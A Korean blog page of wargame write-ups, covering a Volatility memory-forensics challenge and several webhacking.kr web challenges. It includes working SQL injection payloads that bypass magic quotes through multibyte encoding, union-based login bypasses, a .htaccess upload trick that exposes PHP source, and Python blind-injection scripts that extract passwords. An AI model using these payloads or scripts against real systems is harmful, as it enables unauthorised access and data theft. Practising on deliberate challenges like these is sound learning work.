zj3t

email: euntaejang@gmail.com

Latest Posts

프로젝트 진행 중에 워게임을 잠깐 풀어보고 싶어서 전에 풀다 말았던 문제를 풀어보았습니다.




volatility 도구는 메모리 덤프파일을 분석하는 툴이라고 합니다.
저도 포렌식 공부는 워게임 이외에 다른걸 많이 해보지 않아서 검색으로 알아냈습니다.


-f 옵션으로 분석한 파일 이름을 지정해 줄 수가 있습니다.
자세한 옵션 목록을 보려면 -h 옵션을 주면 됩니다.


psxview 는 psscan과 pslist로 조합 된 명령이라고 합니다.
이 명령으로 윈도우에서 은페기능으로 동작하는 프로세스를 찾아 낼 수가 있다고 합니다.

psscan: 실행중인 프로세스 ㅏ
pslist: 실행 중인 프로세스 나열
psxview: psscan과 pslist 중 하나라도 False가 나온다면 은폐 된 프로세스로 의심 된다고 합니다.




pstree로 실행 중인 프로세스의 상관관계를 보니 cmd.exe를 자식프로세스로 실행하고 있었습니다.


connections 명령을 주면 네트워크 접속 목록 등의 정보 등을 볼 수 있습니다.

같은 카페라고 하니, 피해자와 같은 로컬에 있을 것이라고 생각했습니다.

nc.exe_1124_80_Fri-Nov-02-09:06:48-2012

Fri-Nov 이 부분은 명령으로 나오지 않아서 달력으로 해당하는 날짜를 찾아서 인증하였습니다.
asciicode 표




뭔가 쉬웠는데 webhacking.kr 에서도 많이 쓰이는 sql 문법같아서 적습니다.

웹은 심심할때마다 하나씩 푸는재미가 있는것 같습니다.
와ㅋㅋㅋ드디어 풀었습니다. 방화벽까지 다끄고 포트 하나만 열고 몇시간 켜놨더니 password가 뜨네요

이건 풀이가 따로 존재하지 않기때문에 푼 사진과 코드만 보이겠습니다.







  1. import urllib, urllib2

  2. password=""
  3. space="%20"
  4. for i in range(1,20): #'+str(i)+'
  5.         for j in range(0,10000):
  6.             url="http://webhacking.kr/challenge/web/web-16/?server=124.59.207.148"
  7.             req = urllib2.Request(url)
  8.             req.add_header('Cookie','PHPSESSID=zxczxczxc')
  9.             res=urllib2.urlopen(req)
  10.             print res.read()
  11.             print "j: "+str(j)
  12.             if "Password" in res.read():
  13.                 #print chr(j)
  14.                 password +=chr(j)
  15.                 break

  16. print password


이 문제는 .htaccess에 대해서만 잘 알고있다면 쉽게 풀었을 문제인데 제가 웹 공부를 시작한지 이제 한달 조금 넘겨서 잘 몰라서 많이 찾아봤습니다.

.htaccess 파일이란?

디렉토리별로 설정을 변경할 수 있는 설정파일을 말하는데, 분산 설정 파일이라고도 불린다고 합니다.

이 파일을 해당 디렉토리에 두면 그 디렉토리와 모든 하위 디렉토리에 지시어를 적용할 수가 있습니다.

이 .htaccess 파일을 이용하면 사용자가 특정 디렉토리 내의 파일에 접근하는 것을 막을 수가 있다고 합니다.

뭔가 중요한 파일이라는 생각이 들었습니다.

.htaccess 파일을 이용하면 사용자가 특정 디렉토리의 접근을 제어할 수가 있다고 하는데 이 문제에서 보듯


저기 http://webhacking.kr/challenge/web/web-13/upload/index.php 를 읽어라!!!라는 뜻으로 해석을 했습니다. 즉 이 디렉토리 (/challenge/web/web-13/upload/index.php)를 읽으면 문제가 풀릴 것이라고 생각했습니다.

그래서 구글에 .htaccess 파일 설정, .htaccess 디렉토리 읽기 등의 많은 검색을 한 끝에
http://hyunmini.tistory.com/48

이 블로그에서 거의 답에 근접하게 원하는 정보를 얻을 수가 있었습니다.

php 엔진을 꺼버리면 php 소스를 모두 열람할수도 있다.(모두!!!)

그리고 끄는 방법은 php_flag engine off 였습니다.

만약 a라는 파일안에 hello world 를 적고 업로드를 하게되면, 이 문제에서는


Done홈페이지 보안 문제로 파일내용은 표시해주지 않습니다.

부득이하게 이렇게 하드코딩으로 바꿔놨으나, 실제로 취약점이 있는 상황에서 사용할 수 있는 취약점이니 재밌게 풀어주세요.

hint : .htaccess


라는 경고가 있지만, burp suite로 잡아서 보게되면 파일 내용까지도 모두 서버로 전달이 되게 됩니다. 따라서 .htaccess 라는 이름을 가진 파일을 만들어서 그 안에다가 php_flag engine off 를 적어주면 서버측에서는 .htaccess 를 설정파일이라고 생각하고 그 안에있는 정보를 읽어 적용하게 됩니다.

그럼 모든 php 소스가 열람 가능하게 되어서 read me 가 가능해집니다.


이번 문제는 그냥 말로 설명해도 될 꺼같아서 사진을 찍지 않았습니다~~~

이전에 풀었던 50번 문제와 취약점도 비슷하고 상당히 유사하기 때문에 간단하게만 적겠습니다.


$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

50번에서 본 취약점이 발생하는 부분이고, %a1~%fe 였나를 ' 전에 쓰면 매직쿼터 모시기가 우회되어 쿼터 사용이 가능하다고 합니다.

if(eregi("admin",$_GET[id])) exit();
if(
eregi("from",$_GET[id])) exit();
if(
eregi("union",$_GET[id])) exit();
if(
eregi("limit",$_GET[id])) exit();
if(
eregi("union",$_GET[pw])) exit();
if(
eregi("pw",$_GET[pw])) exit();
if(
eregi("=",$_GET[pw])) exit();
if(
eregi(">",$_GET[pw])) exit();
if(
eregi("<",$_GET[pw])) exit();
if(
eregi("from",$_GET[pw])) exit();$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));


if(
$data)
{
echo(
"hi $data[0]<br><br>");

if(
$data[0]=="admin") @solve();
}
번에서 본 취약점이 발생하는 부분이고, %a1~%fe 였나를 ' 전에 쓰면 매직쿼터 모시기가 우회되어 쿼터 사용이 가능하다고 합니다.


$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));

50번에서 했듯이 md5 부분은 주석으로 없애버리도록 합시다.


id=%a1'or id=/*
pw=*/admin#

$data=@mysql_fetch_array(mysql_query("select id from members where id='%a1'or id=/*' and pw=md5('*/admin#')"));

그럼 실질적으로는

@mysql_fetch_array(mysql_query("select id from members where id=''or id=admin

여기서 admin은 0x...... 나 char(x,x,x,x,x) 이런 형식으로 써주어야 합니다.

답: ?id=%a1'or id=/*&pw=*/0x61646d696e%23



$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

mb_convert_encoding이란 함수를 처음 봐서 검색해보니 취약점이 존재하는 함수라고 합니다.

저 위에는 $_GET으로 받아온 id 변수를 'euc-kr'에서 'utf-8'로 변환시켜라!!! 라는 뜻입니다.

하지만 'euc-kr'에서는 한글 1글자가 2바이트이지만, 'UTF-8'에서는 한굴 1글자가 3바이트라서 2Byte -> 3Byte 로 변환되는 과정에서 1바이트가남아서 생기는 취약점이라고 합니다.

자세하게 어떤 원리로 나타나는 취약점인지는 모르겠지만....

%a1 ~ %fe 범위의 값을 쿼터 이전에 사용하면 매직 쿼터 기법을 우회할 수가 있다고 합니다.

따라서 우리는 url에서 '를 사용할 수가 있게 되었습니다.

$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));


처음 이부분을 봤을 때 md5로 pw를 해시시키고 id와 and 한다음 lv를 뽑아낸다...
느낌적으로 md5는 신경안써도 되겠구나라고 생각했습니다. 아예 주석처리를 해버릴까??생각을 했는데 그게 맞아 떨어 졌습니다.

id=admin%a1'/*
pw=*/union select 3#

("select lv from members where id='admin%a1'/*' and pw=md5('*/union select 3#'))

정리해보면

("select lv from members where id='admin%a1' union select 3#'))

일케하면 members 테이블에 값 3이 들어가게 되고 답이 출력됩니다.

아 그리고 계속 까먹네요... "select 로 시작해서 sql injection을 하고 뒤에 괄호를 닫아줘야하나 "의 짝을 맞추어 주어야하나...이런거요. 이유는 모르겠지만 다들 injection 뒤에 괄호를 닫거나 "를 닫거나 하지 않으셔서 안하고는 있지만 다음에 이유를 알아서 포스팅 해보도록 해보겠습니다.

id=admin%a1'/*
pw=*/union select 3#

#은 url encoding을 하셔야 합니다.






rank table에는


------------------------------------
id
-------------------------------------
score
-------------------------------------
password
-------------------------------------

이런식으로 되어있는 것 같습니다.
password colunm을 알아야할 것 같아서 procedure analyse()를 사용해보기로 했습니다.

이전에 풀었던 문제중에서 이 함수를 통해 테이블의 이름을 얻어온 적이 있었죠??





일단 참과 거짓일 때의 결과가 다릅니다. 따라서 Blind sql injection을 수행할 수가 있었습니다.

ascii, from, substr 등 여러개가 필터링이 걸려있는 것을 확인할 수가 있었습니다.

length는 다행히 걸려있지 않았습니다.

그럼 password의 길이를 알아 봐야하는데 password 칼럼이 어떤 이름으로 되어있는지를 알지 못합니다. 단지 패스워드가 소문자라는 힌트밖에 없었습니다.


?score=1 or 1=1 limit 2 procedure analyse() 를 입력해쓸 때의 결과 값입니다.

id : oldzombie.challenge55_game.ip //


여기선 생략 했지만, ?score=1 or 1=1 limit 1,0 procedure analyse() 일때의 결과 값은

id : oldzombie.challenge55_game.score //

입니다.


?score=1 or 1=1 limit 2,1 procedure analyse() 세번째 값을 보기위해서 시도하였습니다.

id : oldzombie.challenge55_game.pAsSw0RdzzzZ //

password가 들어있는 colunm의 명은 pAsSw0RdzzzZ 입니다.

따라서 length(pAsSw0RdzzzZ) 나 ascii(substr(pAsSw0RdzzzZ,1,1))=?? 으로 길이와 값을 찾아줄 수가 있게 되었습니다.

단 ascii와 select, substr등이 필터링 되어있기 때문에 다른 방법을 찾아야하는데 검색 끝에 right와 left를 이용해서 ascii와 substr같은 효과를 낼 수가 있었습니다.

만약 string="hello" 일때 ascii(substr($string,1,1))=h가 됩니다.
여기서는 right와 left를 이용해야하는데, substr과는 다르게 인자가 2개밖에 들어가지가 않습니다.

left($string,1)은 h 가되고 left($string,2)은 he가 됩니다. left($string,3)은 hel이 되겠구요
right(left($string,2),1) 은 left($string,2)가 he 그중 가장 오른쪽인 e를 가져오고
rigth(left($string,3),1) 은 left($string,3)가 hel 이고 가장 오른쪽인 l을 가져옵니다.

이런식으로 ascii(substr($string,1,1)) 과 같은 효과를 낼 수가 있습니다.

그렇다면 전과 같은 방법으로 스크립트를 작성해보도록 하겠습니다.


  1. import urllib, urllib2

  2. password=""
  3. password_len=0
  4. tem=''

  5. for i in range(1,30):
  6.     url="http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20length(pAsSw0RdzzzZ)="+str(i)
  7.     req=urllib2.Request(url)
  8.     req.add_header('Cookie','PHPSESSID=본인꺼 입력')
  9.     res=urllib2.urlopen(req)

  10.     if "localhost" in res.read():
  11.         print "Length or password: "+ str(i)
  12.         password_len=i
  13.         break

  14. for i in range(17, 19):
  15.     for j in range(0,123):
  16.         url="http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20right(left(pAsSw0RdzzzZ,+"+str(i)+"),1)="+hex(j)
  17.         req=urllib2.Request(url)
  18.         req.add_header('Cookie','PHPSESSID=본인꺼 입력')
  19.         res=urllib2.urlopen(req)

  20.         if "localhost" in res.read():
  21.             tem=str(hex(j))[2::]
  22.             password=password+tem

  23. print password

이렇게 하면 password를 구할 수가 있었습니다ㅎㅎ